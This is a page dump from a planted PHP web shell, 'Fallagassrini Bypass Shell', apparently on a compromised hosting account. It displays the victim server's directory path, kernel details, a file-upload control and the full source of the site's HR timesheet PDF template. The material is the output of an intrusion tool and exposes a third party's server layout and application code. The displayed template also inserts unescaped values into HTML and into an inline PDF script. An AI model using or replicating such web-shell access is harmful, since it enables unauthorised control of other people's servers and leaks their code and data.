? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sgms/application/views/HR/pdf_report_employee_timesheet.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$company_details= $this->mastermodel->get_data_srow('company','1','company_id');
$employee = $this->mastermodel->get_data_srow('employee',$postdata['employee_id'],'employee_id');

$html='<html><head><body>';
$html.='<table width="100%">
        <tr><td colspan="3" style="font-size:16px;><b>Employee Timesheet Report</b></td></tr>
        <tr><td colspan="3">Employee Name: '.$employee->employee_name.'</td></tr>
        <tr><td colspan="3">Employee No: '.$employee->employee_no.'</td></tr>
        <tr><td colspan="3">Period: '.$postdata['month'].' '.$postdata['year'].'</td></tr>
        </table>';

$html.='<hr><br/><br/>';

$html.='<table cellspacing="-1" border=1 style="width:100%;text-align:left">
    <thead>
        <tr>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Date</th>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Time</th>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Mode</th>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Remarks</th>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Status</th>
            <td style="height:30px;text-align:center;" bgcolor="#cdc9c9">Type</th>
        </tr>';
           
    $html .='</tr></thead><tbody>';
        foreach($report as $row)
        {
            switch($row['attendance_mode'])
            {
                case 0 : $attendance_mode = 'In';
                break;
                case 1 : $attendance_mode = 'Out';
                break;
                case 2 : $attendance_mode = 'Break Out';
                break;
                case 3 : $attendance_mode = 'Break In';
                break;
                case 4 : $attendance_mode = 'OT In';
                break;
                case 5 : $attendance_mode = 'OT Out';
                break;
            }
            $status = $this->hrmodel->get_employee_attendance_status($employee->device_no,$employee->employee_id,$row['attendance_date'],$row['attendance_mode']);
            $attendance_type = $row['attendance_type']?"Manual":"Device";
            $html.='<tr><td>'.$this->mastermodel->convertdatenormalformat(substr($row['attendance_date'],0,11)).'</td>';
            $html.='<td>'.substr($row['attendance_date'],11,5).'</td>';
            $html.='<td>'.$attendance_mode.'</td>';
            $html.='<td>'.$row['attendance_remarks'].'</td>';
            $html.='<td>'.$status.'</td>';
            $html.='<td>'.$attendance_type.'</td></tr>';
        }

$html.='</tbody></table>';
$html.='<hr>';
   $html.='<script type="text/php">
          if ( isset($pdf) )
          {
             $font = Font_Metrics::get_font("verdana", "normal");
             $pdf->page_text(75, 580, "'.$company_details->footer.'                  Page  {PAGE_NUM} of {PAGE_COUNT}", $font, 10, array(0,0,0));
          }
          </script>
        </body></html>';

pdf_create($html, 'Employee-Timesheet',1);

   ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net